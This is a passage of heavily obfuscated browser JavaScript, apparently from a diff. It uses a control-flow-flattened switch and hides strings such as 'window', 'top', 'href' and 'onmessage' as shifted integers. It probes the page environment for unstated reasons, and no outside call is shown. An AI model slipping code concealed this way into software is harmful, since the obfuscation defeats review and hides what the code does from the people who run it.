_$LC; + _$fc = _$qt; + _$oc = 63; + _$lc = _$fc & _$oc; + _$hc = 128; + _$gc = _$lc | _$hc; + _$Br[_$nc](_$gc) + } else { + _$Br = _$ai; + _$nc = _$LC; + _$fc = _$qt; + _$oc = 255; + _$lc = _$fc & _$oc; + _$Br[_$nc](_$lc) + } + } + } + } + _$Br = _$ai; + _$nc = _$PC; + _$fc = _$Br[_$nc]; + _$Ht = _$fc; + _$Br = _$Ht; + _$nc = 2; + _$fc = _$Br / _$nc; + _$Ht = _$fc; + _$Br = []; + _$ri = _$Br; + _$Br = 0; + _$xt = _$Br; + for (_$ci = 0; _$ci < _$Ht; _$ci++) { + _$Br = _$ai; + _$nc = _$xt; + _$fc = _$Br[_$nc]; + _$Ft = _$fc; + _$Br = _$ai; + _$nc = _$xt; + _$fc = 1; + _$oc = _$nc + _$fc; + _$lc = _$Br[_$oc]; + _$Jt = _$lc; + _$Br = _$xt; + _$nc = 2; + _$fc = _$Br + _$nc; + _$xt = _$fc; + _$Br = _$Ft; + _$nc = 46; + _$fc = _$Br - _$nc; + _$Ft = _$fc; + _$Br = _$Jt; + _$nc = 46; + _$fc = _$Br - _$nc; + _$Jt = _$fc; + _$Br = _$Jt; + _$nc = 19; + _$fc = _$Br * _$nc; + _$oc = _$Ft; + _$lc = _$fc + _$oc; + _$Xt = _$lc; + _$Br = _$Xt; + _$nc = 11; + _$fc = _$Br ^ _$nc; + _$Bt = _$fc; + _$Br = _$ri; + _$nc = _$ci; + _$fc = _$Bt; + _$Br[_$nc] = _$fc + } + _$Br = _$BC; + _$vi = _$Br; + for (_$ii = 0; _$ii < _$ri.length; _$ii++) { + _$Br = _$ri; + _$nc = _$ii; + _$fc = _$Br[_$nc]; + _$oc = _$_r + _$Rr; + _$lc = 2; + _$hc = _$fc[_$oc](_$lc); + _$si = _$hc; + _$Br = _$si; + _$nc = _$LS; + _$fc = /^1+?(?=0)/; + _$oc = _$Br[_$nc](_$fc); + _$ni = _$oc; + _$Br = _$ni; + _$nc = _$Br; + if (_$nc) { + _$kc = _$si; + _$bc = _$PC; + _$Tc = _$kc[_$bc]; + _$jc = 8; + _$nc = _$Tc === _$jc + } + if (_$nc) { + _$Br = _$ni; + _$nc = 0; + _$fc = _$Br[_$nc]; + _$oc = _$PC; + _$lc = _$fc[_$oc]; + _$fi = _$lc; + _$Br = _$ri; + _$nc = _$ii; + _$fc = _$Br[_$nc]; + _$oc = _$Vr + _$Lr; + _$lc = 2; + _$hc = _$fc[_$oc](_$lc); + _$gc = _$_S; + _$uc = 7; + _$pc = _$fi; + _$Cc = _$uc - _$pc; + _$Dc = _$hc[_$gc](_$Cc); + _$ti = _$Dc; + for (_$oi = 0; _$oi < _$fi; _$oi++) { + _$Br = _$ri; + _$nc = _$oi; + _$fc = _$ii; + _$oc = _$nc + _$fc; + _$lc = _$Br[_$oc]; + _$hc = _$Vr + _$Lr; + _$gc = 2; + _$uc = _$lc[_$hc](_$gc); + _$pc = _$_S; + _$Cc = 2; + _$Dc = _$uc[_$pc](_$Cc); + _$ti += _$Dc + } + _$Br = _$ti; + _$nc = 2; + _$fc = parseInt(_$Br, _$nc); + _$oc = _$bW(_$fc); + _$vi += _$oc; + _$Br = _$fi; + _$nc = 1; + _$fc = _$Br - _$nc; + _$ii += _$fc + } else { + _$Br = _$ri; + _$nc = _$ii; + _$fc = _$Br[_$nc]; + _$oc = _$bW(_$fc); + _$vi += _$oc + } + } + _$Br = _$rS; + _$ki = _$Br; + _$nc = 1; + _$bi = _$nc; + _$Br = _$bi; + _$nc = 1; + _$fc = _$Br + _$nc; + _$bi = _$fc; + _$Br = 1; + _$ki = _$Br; + _$Br = _$BC; + _$li = _$Br; + _$Br = _$bi; + _$ki = _$Br; + _$Br = 232; + _$nc = 222; + _$fc = 224; + _$oc = [_$Br, _$nc, _$fc]; + _$bi = _$oc; + for (_$hi = 0; _$hi < _$bi.length; _$hi++) { + _$Br = _$li; + _$nc = _$bi; + _$fc = _$hi; + _$oc = _$nc[_$fc]; + _$lc = 1; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$li = _$uc + } + _$Br = _$bi; + _$nc = _$LC; + _$fc = _$ki; + _$oc = _$Br[_$nc](_$fc); + _$bi = _$oc; + _$Br = _$Nc; + _$nc = _$vi; + _$fc = _$_t; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$oc; + if (!_$lc) { + _$kc = _$Nc; + _$bc = _$li; + _$lc = _$kc[_$bc] + } + _$Mi = _$lc + } + _$Xr += 78; + break; + case 224: + _$bf = _$bf / _$kf[8]; + _$Xr += 21; + break; + case 225: + _$gi = _$BC; + _$Xr += 22; + break; + case 226: + _$hf = _$hf + 1; + _$Xr -= 125; + break; + case 227: + if (_$Mi) { + _$Br = _$eS; + _$ui = _$Br; + _$nc = 1; + _$pi = _$nc; + _$Br = _$pi; + _$nc = 1; + _$fc = _$Br + _$nc; + _$pi = _$fc; + _$Br = 1; + _$ui = _$Br; + _$Br = _$BC; + _$yi = _$Br; + _$Br = _$pi; + _$ui = _$Br; + _$Br = 3801088; + _$nc = 3637248; + _$fc = 3670016; + _$oc = [_$Br, _$nc, _$fc]; + _$pi = _$oc; + for (_$wi = 0; _$wi < _$pi.length; _$wi++) { + _$Br = _$yi; + _$nc = _$pi; + _$fc = _$wi; + _$oc = _$nc[_$fc]; + _$lc = 15; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$yi = _$uc + } + _$Br = _$pi; + _$nc = _$LC; + _$fc = _$ui; + _$oc = _$Br[_$nc](_$fc); + _$pi = _$oc; + _$Br = _$Nc; + _$nc = _$yi; + _$fc = _$Br[_$nc]; + _$Nc = _$fc + } + _$Xr += 39; + break; + case 228: + _$eo = _$eo + 1; + _$Xr -= 36; + break; + case 229: + try { + _$Br = _$vs; + _$nc = 1.5; + _$fc = _$Ai; + _$oc = _$vs; + _$lc = _$fc * _$oc; + _$hc = _$vs; + _$gc = _$lc * _$hc; + _$uc = _$nc - _$gc; + _$pc = _$Br * _$uc; + _$vs = _$pc + } catch (_$a) {} + _$Xr += 71; + break; + case 230: + _$di = _$BC; + _$Xr -= 193; + break; + case 231: + _$Mi = _$Nc === _$CW || _$Nc === {}; + _$Xr += 23; + break; + case 232: + _$Ii = 1990; + _$Ai = .5 * _$Ii; + _$Si = [1, 5, 6.3, 8, 9]; + _$Xr += 25; + break; + case 233: + _$zY = _$Xi; + _$Xr -= 123; + break; + case 234: + _$mi = _$BC; + _$Xr -= 13; + break; + case 235: + _$hn = _$gn; + _$Xr -= 180; + break; + case 236: + if (_$Mi && _$Nc) { + _$Br = _$aS; + _$Ti = _$Br; + _$nc = 1; + _$ji = _$nc; + _$Br = _$ji; + _$nc = 1; + _$fc = _$Br + _$nc; + _$ji = _$fc; + _$Br = 1; + _$Ti = _$Br; + _$Br = _$BC; + _$Ci = _$Br; + _$Br = _$ji; + _$Ti = _$Br; + _$Br = 1949696; + _$nc = 1720320; + _$fc = 1802240; + _$oc = 1638400; + _$lc = 1818624; + _$hc = 1949696; + _$gc = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc]; + _$ji = _$gc; + for (_$Di = 0; _$Di < _$ji.length; _$Di++) { + _$Br = _$Ci; + _$nc = _$ji; + _$fc = _$Di; + _$oc = _$nc[_$fc]; + _$lc = 14; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Ci = _$uc + } + _$Br = _$ji; + _$nc = _$LC; + _$fc = _$Ti; + _$oc = _$Br[_$nc](_$fc); + _$ji = _$oc; + _$Br = _$$A; + _$Ki = _$Br; + _$nc = 1; + _$Qi = _$nc; + _$Br = _$Qi; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Qi = _$fc; + _$Br = 1; + _$Ki = _$Br; + _$Br = _$BC; + _$Wi = _$Br; + _$Br = _$Qi; + _$Ki = _$Br; + _$Br = 13312; + _$nc = 12416; + _$fc = 14720; + _$oc = 10112; + _$lc = 15232; + _$hc = 14080; + _$gc = 10240; + _$uc = 14592; + _$pc = 14208; + _$Cc = 14336; + _$Dc = 12928; + _$nv = 14592; + _$fv = 14848; + _$tv = 15488; + _$iv = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc, _$gc, _$uc, _$pc, _$Cc, _$Dc, _$nv, _$fv, _$tv]; + _$Qi = _$iv; + for (_$Yi = 0; _$Yi < _$Qi.length; _$Yi++) { + _$Br = _$Wi; + _$nc = _$Qi; + _$fc = _$Yi; + _$oc = _$nc[_$fc]; + _$lc = 7; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Wi = _$uc + } + _$Br = _$Qi; + _$nc = _$LC; + _$fc = _$Ki; + _$oc = _$Br[_$nc](_$fc); + _$Qi = _$oc; + _$Br = _$JA; + _$Ui = _$Br; + _$nc = 1; + _$Oi = _$nc; + _$Br = _$Oi; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Oi = _$fc; + _$Br = 1; + _$Ui = _$Br; + _$Br = _$BC; + _$Pi = _$Br; + _$Br = _$Oi; + _$Ui = _$Br; + _$Br = 243712; + _$nc = 215040; + _$fc = 225280; + _$oc = 204800; + _$lc = 227328; + _$hc = 243712; + _$gc = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc]; + _$Oi = _$gc; + for (_$Gi = 0; _$Gi < _$Oi.length; _$Gi++) { + _$Br = _$Pi; + _$nc = _$Oi; + _$fc = _$Gi; + _$oc = _$nc[_$fc]; + _$lc = 11; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Pi = _$uc + } + _$Br = _$Oi; + _$nc = _$LC; + _$fc = _$Ui; + _$oc = _$Br[_$nc](_$fc); + _$Oi = _$oc; + _$Br = _$Nc; + _$nc = _$Wi; + _$fc = _$Pi; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$oc; + if (!_$lc) { + _$kc = _$Nc; + _$bc = _$Ci; + _$lc = _$kc[_$bc] + } + _$Mi = _$lc + } + _$Xr -= 235; + break; + case 237: + if (_$Mi && _$Nc) { + _$Br = _$FA; + _$Ni = _$Br; + _$nc = 1; + _$Zi = _$nc; + _$Br = _$Zi; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Zi = _$fc; + _$Br = 1; + _$Ni = _$Br; + _$Br = _$BC; + _$zi = _$Br; + _$Br = _$Zi; + _$Ni = _$Br; + _$Br = 3407872; + _$nc = 3735552; + _$fc = 3309568; + _$oc = 3342336; + _$lc = [_$Br, _$nc, _$fc, _$oc]; + _$Zi = _$lc; + for (_$Ei = 0; _$Ei < _$Zi.length; _$Ei++) { + _$Br = _$zi; + _$nc = _$Zi; + _$fc = _$Ei; + _$oc = _$nc[_$fc]; + _$lc = 15; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$zi = _$uc + } + _$Br = _$Zi; + _$nc = _$LC; + _$fc = _$Ni; + _$oc = _$Br[_$nc](_$fc); + _$Zi = _$oc; + _$Br = _$XA; + _$Ri = _$Br; + _$nc = 1; + _$_i = _$nc; + _$Br = _$_i; + _$nc = 1; + _$fc = _$Br + _$nc; + _$_i = _$fc; + _$Br = 1; + _$Ri = _$Br; + _$Br = _$BC; + _$Li = _$Br; + _$Br = _$_i; + _$Ri = _$Br; + _$Br = 3328; + _$nc = 3648; + _$fc = 3232; + _$oc = 3264; + _$lc = [_$Br, _$nc, _$fc, _$oc]; + _$_i = _$lc; + for (_$Vi = 0; _$Vi < _$_i.length; _$Vi++) { + _$Br = _$Li; + _$nc = _$_i; + _$fc = _$Vi; + _$oc = _$nc[_$fc]; + _$lc = 5; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Li = _$uc + } + _$Br = _$_i; + _$nc = _$LC; + _$fc = _$Ri; + _$oc = _$Br[_$nc](_$fc); + _$_i = _$oc; + _$Br = _$BA; + _$qi = _$Br; + _$nc = 1; + _$Hi = _$nc; + _$Br = _$Hi; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Hi = _$fc; + _$Br = 1; + _$qi = _$Br; + _$Br = _$BC; + _$xi = _$Br; + _$Br = _$Hi; + _$qi = _$Br; + _$Br = 1664; + _$nc = 1552; + _$fc = 1840; + _$oc = 1264; + _$lc = 1904; + _$hc = 1760; + _$gc = 1280; + _$uc = 1824; + _$pc = 1776; + _$Cc = 1792; + _$Dc = 1616; + _$nv = 1824; + _$fv = 1856; + _$tv = 1936; + _$iv = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc, _$gc, _$uc, _$pc, _$Cc, _$Dc, _$nv, _$fv, _$tv]; + _$Hi = _$iv; + for (_$Bi = 0; _$Bi < _$Hi.length; _$Bi++) { + _$Br = _$xi; + _$nc = _$Hi; + _$fc = _$Bi; + _$oc = _$nc[_$fc]; + _$lc = 4; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$xi = _$uc + } + _$Br = _$Hi; + _$nc = _$LC; + _$fc = _$qi; + _$oc = _$Br[_$nc](_$fc); + _$Hi = _$oc; + _$Br = _$Nc; + _$nc = _$xi; + _$fc = _$zi; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$oc; + if (!_$lc) { + _$kc = _$Nc; + _$bc = _$Li; + _$lc = _$kc[_$bc] + } + _$Mi = _$lc + } + _$Xr += 26; + break; + case 238: + _$Xi = []; + _$Xr += 1; + break; + case 239: + for (_$Fi = 0, + _$Ji = _$hs.length; _$Fi < _$Ji; _$Fi++) { + _$Br = _$Xi; + _$nc = _$LC; + _$fc = _$hs; + _$oc = _$OC; + _$lc = _$Fi; + _$hc = _$fc[_$oc](_$lc); + _$Br[_$nc](_$hc) + } + _$Xr -= 6; + break; + case 240: + _$no = _$fo; + _$Xr += 22; + break; + case 241: + _$$i = _$Gt; + return; + case 242: + _$ao = _$xA; + _$eo = 1; + _$Xr -= 14; + break; + case 243: + _$ef = 1; + _$Xr -= 224; + break; + case 244: + _$ro = _$SU(518 - 259, _$ss); + _$co = _$BC; + _$vo = _$Fa + _$ja + _$da + _$ee + _$_a + _$Ka + _$Ca + _$Ha + _$Sa + _$Ya + _$$a + _$Na + _$Wa + _$Ta + _$Xa + _$Ja + _$qa + _$Va + _$Qa + _$xa + _$re + _$ae + _$La + _$ce + _$Za + _$Da + _$Aa + _$Oa + _$Ea + _$Ga + _$Ia + _$Ba + _$Pa + _$Ua + _$ma + _$za + _$Ra + _$Ma + _$ve; + _$so = 1; + _$Xr -= 204; + break; + case 245: + _$no = _$HA; + _$fo = 1; + _$Xr += 1; + break; + case 246: + _$fo = _$fo + 1; + _$Xr -= 53; + break; + case 247: + _$if = _$of; + _$Xr -= 65; + break; + case 248: + for (_$to = 0; _$to < _$rt.length; _$to++) { + _$Br = _$Yb; + _$nc = _$rt; + _$fc = _$to; + _$oc = _$nc[_$fc]; + _$lc = 2; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Yb = _$uc + } + _$Xr -= 136; + break; + case 249: + _$io = _$BC; + _$Xr -= 35; + break; + case 250: + for (_$oo = 0; _$oo < _$es.length; _$oo++) { + _$Br = _$mi; + _$nc = _$es; + _$fc = _$oo; + _$oc = _$nc[_$fc]; + _$lc = 13; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$mi = _$uc + } + _$Xr -= 72; + break; + case 251: + _$ko = _$gt; + _$Xr -= 225; + break; + case 252: + for (_$bo = 0; _$bo < _$Sv.length; _$bo++) { + _$Br = _$af; + _$nc = _$Sv; + _$fc = _$bo; + _$oc = _$nc[_$fc]; + _$lc = 16; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$af = _$uc + } + _$Xr -= 180; + break; + case 253: + _$ef = _$rf; + _$Xr -= 182; + break; + case 254: + if (_$Mi) { + _$Br = _$qA; + _$lo = _$Br; + _$nc = 1; + _$ho = _$nc; + _$Br = _$ho; + _$nc = 1; + _$fc = _$Br + _$nc; + _$ho = _$fc; + _$Br = 1; + _$lo = _$Br; + _$Br = _$BC; + _$go = _$Br; + _$Br = _$ho; + _$lo = _$Br; + _$Br = 1900544; + _$nc = 1818624; + _$fc = 1835008; + _$oc = [_$Br, _$nc, _$fc]; + _$ho = _$oc; + for (_$uo = 0; _$uo < _$ho.length; _$uo++) { + _$Br = _$go; + _$nc = _$ho; + _$fc = _$uo; + _$oc = _$nc[_$fc]; + _$lc = 14; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$go = _$uc + } + _$Br = _$ho; + _$nc = _$LC; + _$fc = _$lo; + _$oc = _$Br[_$nc](_$fc); + _$ho = _$oc; + _$Br = _$ya + _$pa + _$wa; + _$po = _$Br; + _$nc = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = 1; + _$t = _$c; + _$v = 1; + _$s = -_$v; + _$i = _$s; + _$n = 2; + _$o = _$n; + _$f = 0; + _$k = _$f; + _$c = _$t; + _$v = _$i; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 3; + _$s = _$c >> _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s; + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v * _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c / _$v; + _$k = _$s + } + _$c = _$t; + _$v = _$c; + if (_$v) { + _$h = _$i; + _$v = !_$h + } + if (_$v) { + _$c = _$o; + _$v = 3; + _$s = _$c % _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s + } + _$c = 5; + _$v = -_$c; + _$i = _$v; + _$c = _$t; + _$v = _$i; + _$s = _$c + _$v; + _$n = _$t; + _$f = _$s + _$n; + _$b = 0; + _$l = _$f > _$b; + if (_$l) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s + } + _$c = _$i; + _$v = _$o; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c - _$v; + _$o = _$s + } + _$c = _$t; + _$v = _$k; + _$s = _$c + _$v; + _$n = _$i; + _$f = _$s < _$n; + if (_$f) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$i; + _$g = _$b - _$l; + _$u = _$f >> _$g; + _$p = _$k; + _$y = _$u >> _$p; + _$k = _$y + } + _$c = _$o; + _$v = 0; + _$s = _$c < _$v; + if (_$s) { + _$c = _$i; + _$v = _$t; + _$s = _$k; + _$n = _$v / _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$o = _$l + } + _$c = _$o; + _$v = _$k; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s < _$n; + if (_$f) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v * _$s; + _$f = _$c << _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l + } + _$c = _$i; + _$v = _$o; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 2; + _$s = _$c << _$v; + _$o = _$s; + _$c = _$o; + _$v = _$k; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c / _$v; + _$k = _$s + } + _$c = _$i; + _$v = !_$c; + if (_$v) { + _$c = _$o; + _$v = 2; + _$s = _$i; + _$n = _$v + _$s; + _$f = _$t; + _$b = _$n - _$f; + _$l = _$c << _$b; + _$o = _$l + } + _$c = _$t; + _$v = !_$c; + if (_$v) { + _$c = 5; + _$v = _$o; + _$s = _$c + _$v; + _$n = 3; + _$f = _$s >> _$n; + _$t = _$f + } + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 4; + _$s = _$i; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = 3; + _$l = _$i; + _$g = _$b * _$l; + _$u = _$o; + _$p = _$g + _$u; + _$y = _$f >> _$p; + _$w = 2; + _$d = _$y << _$w; + _$k = _$d + } + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$yo = _$nc; + _$fc = _$oa + _$ba + _$la + _$ka + _$ua + _$ga + _$ha; + _$wo = _$fc; + _$oc = _$wo; + _$lc = _$PC; + _$hc = _$oc[_$lc]; + _$do = _$hc; + _$gc = 0; + _$To = _$gc; + _$Br = []; + _$jo = _$Br; + _$Br = _$po; + _$nc = _$PC; + _$fc = _$Br[_$nc]; + _$oc = 4; + _$lc = _$fc / _$oc; + _$Mo = _$lc; + for (_$Co = 0; _$Co < _$Mo; _$Co++) { + _$Br = _$wo; + _$nc = _$po; + _$fc = _$_C; + _$oc = _$To; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$yo(_$Br, _$lc); + _$mo = _$hc; + _$To++; + _$Br = _$wo; + _$nc = _$po; + _$fc = _$_C; + _$oc = _$To; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$yo(_$Br, _$lc); + _$So = _$hc; + _$To++; + _$Br = _$wo; + _$nc = _$po; + _$fc = _$_C; + _$oc = _$To; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$yo(_$Br, _$lc); + _$Ao = _$hc; + _$To++; + _$Br = _$wo; + _$nc = _$po; + _$fc = _$_C; + _$oc = _$To; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$yo(_$Br, _$lc); + _$Io = _$hc; + _$To++; + _$Br = _$jo; + _$nc = _$Co; + _$fc = _$mo; + _$oc = _$do; + _$lc = _$fc * _$oc; + _$hc = _$do; + _$gc = _$lc * _$hc; + _$uc = _$do; + _$pc = _$gc * _$uc; + _$Cc = _$So; + _$Dc = _$do; + _$nv = _$Cc * _$Dc; + _$fv = _$do; + _$tv = _$nv * _$fv; + _$iv = _$pc + _$tv; + _$ov = _$Ao; + _$kv = _$do; + _$bv = _$ov * _$kv; + _$lv = _$iv + _$bv; + _$hv = _$Io; + _$gv = _$lv + _$hv; + _$Br[_$nc] = _$gv + } + _$Br = _$BC; + _$Mo = _$Br; + for (_$Do = 0; _$Do < _$jo.length; _$Do++) { + _$Br = _$jo; + _$nc = _$Do; + _$fc = _$Br[_$nc]; + _$oc = _$bW(_$fc); + _$Mo += _$oc + } + _$Br = _$Nc; + _$nc = _$Zc; + _$fc = _$Mo; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$oc; + if (!_$lc) { + _$kc = _$Nc; + _$bc = _$go; + _$lc = _$kc[_$bc] + } + _$Mi = _$lc + } + _$Xr += 5; + break; + case 255: + for (_$Ko = 0; _$Ko < _$Mv.length; _$Ko++) { + _$Br = _$It; + _$nc = _$Mv; + _$fc = _$Ko; + _$oc = _$nc[_$fc]; + _$lc = 6; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$It = _$uc + } + _$Xr -= 112; + break; + case 256: + if (_$Oc) { + _$Br = _$YY; + _$pW = _$Br + } + _$Xr -= 212; + break; + case 257: + _$FW = []; + _$Xr -= 169; + break; + case 258: + _$eo = _$eo.p(_$ao); + _$Xr -= 64; + break; + case 259: + if (_$Mi) { + _$Br = _$VA; + _$Qo = _$Br; + _$nc = 1; + _$Wo = _$nc; + _$Br = _$Wo; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Wo = _$fc; + _$Br = 1; + _$Qo = _$Br; + _$Br = _$BC; + _$Yo = _$Br; + _$Br = _$Wo; + _$Qo = _$Br; + _$Br = 928; + _$nc = 888; + _$fc = 896; + _$oc = [_$Br, _$nc, _$fc]; + _$Wo = _$oc; + for (_$Uo = 0; _$Uo < _$Wo.length; _$Uo++) { + _$Br = _$Yo; + _$nc = _$Wo; + _$fc = _$Uo; + _$oc = _$nc[_$fc]; + _$lc = 3; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Yo = _$uc + } + _$Br = _$Wo; + _$nc = _$LC; + _$fc = _$Qo; + _$oc = _$Br[_$nc](_$fc); + _$Wo = _$oc; + _$Br = _$Nc; + _$nc = _$Yo; + _$fc = _$Br[_$nc]; + _$Nc = _$fc + } + _$Xr -= 36; + break; + case 260: + if (_$Mi) { + _$Br = _$LA; + _$Oo = _$Br; + _$nc = 1; + _$Po = _$nc; + _$Br = _$Po; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Po = _$fc; + _$Br = 1; + _$Oo = _$Br; + _$Br = _$BC; + _$Go = _$Br; + _$Br = _$Po; + _$Oo = _$Br; + _$Br = 487424; + _$nc = 430080; + _$fc = 450560; + _$oc = 409600; + _$lc = 454656; + _$hc = 487424; + _$gc = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc]; + _$Po = _$gc; + for (_$No = 0; _$No < _$Po.length; _$No++) { + _$Br = _$Go; + _$nc = _$Po; + _$fc = _$No; + _$oc = _$nc[_$fc]; + _$lc = 12; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Go = _$uc + } + _$Br = _$Po; + _$nc = _$LC; + _$fc = _$Oo; + _$oc = _$Br[_$nc](_$fc); + _$Po = _$oc; + _$Br = _$Nc; + _$nc = _$Go; + _$fc = _$Br[_$nc]; + _$Nc = _$fc + } + _$Xr -= 122; + break; + case 261: + _$tt = _$tt + 1; + _$Xr += 24; + break; + case 262: + _$fo = [3637248, 3604480, 3571712, 3309568, 3768320, 3768320, 3178496, 3375104, 3309568]; + _$Xr += 30; + break; + case 263: + if (_$Mi) { + _$Br = _$_A; + _$Zo = _$Br; + _$nc = 1; + _$zo = _$nc; + _$Br = _$zo; + _$nc = 1; + _$fc = _$Br + _$nc; + _$zo = _$fc; + _$Br = 1; + _$Zo = _$Br; + _$Br = _$BC; + _$Eo = _$Br; + _$Br = _$zo; + _$Zo = _$Br; + _$Br = 3328; + _$nc = 3648; + _$fc = 3232; + _$oc = 3264; + _$lc = [_$Br, _$nc, _$fc, _$oc]; + _$zo = _$lc; + for (_$Ro = 0; _$Ro < _$zo.length; _$Ro++) { + _$Br = _$Eo; + _$nc = _$zo; + _$fc = _$Ro; + _$oc = _$nc[_$fc]; + _$lc = 5; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Eo = _$uc + } + _$Br = _$zo; + _$nc = _$LC; + _$fc = _$Zo; + _$oc = _$Br[_$nc](_$fc); + _$zo = _$oc; + _$Br = _$Nc; + _$nc = _$Eo; + _$fc = _$Br[_$nc]; + _$Nc = _$fc + } + _$Xr += 12; + break; + case 264: + _$ts = 1; + _$Xr -= 168; + break; + case 265: + _$zt = _$zt + 1; + _$Xr += 14; + break; + case 266: + if (_$Mi && _$Nc) { + _$Br = _$RA; + _$_o = _$Br; + _$nc = _$_o; + _$fc = _$OC; + _$oc = 0; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$_o; + _$gc = _$PC; + _$uc = _$hc[_$gc]; + _$pc = _$lc - _$uc; + _$Cc = _$bW(_$pc); + _$Lo = _$Cc; + for (_$Vo = 1; _$Vo < _$_o.length; _$Vo++) { + _$Br = _$_o; + _$nc = _$OC; + _$fc = _$Vo; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$Lo; + _$hc = _$OC; + _$gc = _$Vo; + _$uc = 1; + _$pc = _$gc - _$uc; + _$Cc = _$lc[_$hc](_$pc); + _$Dc = _$oc - _$Cc; + _$nv = _$bW(_$Dc); + _$Lo += _$nv + } + _$Br = _$EA; + _$qo = _$Br; + _$nc = 1; + _$Ho = _$nc; + _$Br = _$Ho; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Ho = _$fc; + _$Br = 1; + _$qo = _$Br; + _$Br = _$BC; + _$xo = _$Br; + _$Br = _$Ho; + _$qo = _$Br; + _$Br = 3712; + _$nc = 3552; + _$fc = 3584; + _$oc = [_$Br, _$nc, _$fc]; + _$Ho = _$oc; + for (_$Bo = 0; _$Bo < _$Ho.length; _$Bo++) { + _$Br = _$xo; + _$nc = _$Ho; + _$fc = _$Bo; + _$oc = _$nc[_$fc]; + _$lc = 5; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$xo = _$uc + } + _$Br = _$Ho; + _$nc = _$LC; + _$fc = _$qo; + _$oc = _$Br[_$nc](_$fc); + _$Ho = _$oc; + _$Br = _$Nc; + _$nc = _$Zc; + _$fc = _$Lo; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$oc; + if (!_$lc) { + _$kc = _$Nc; + 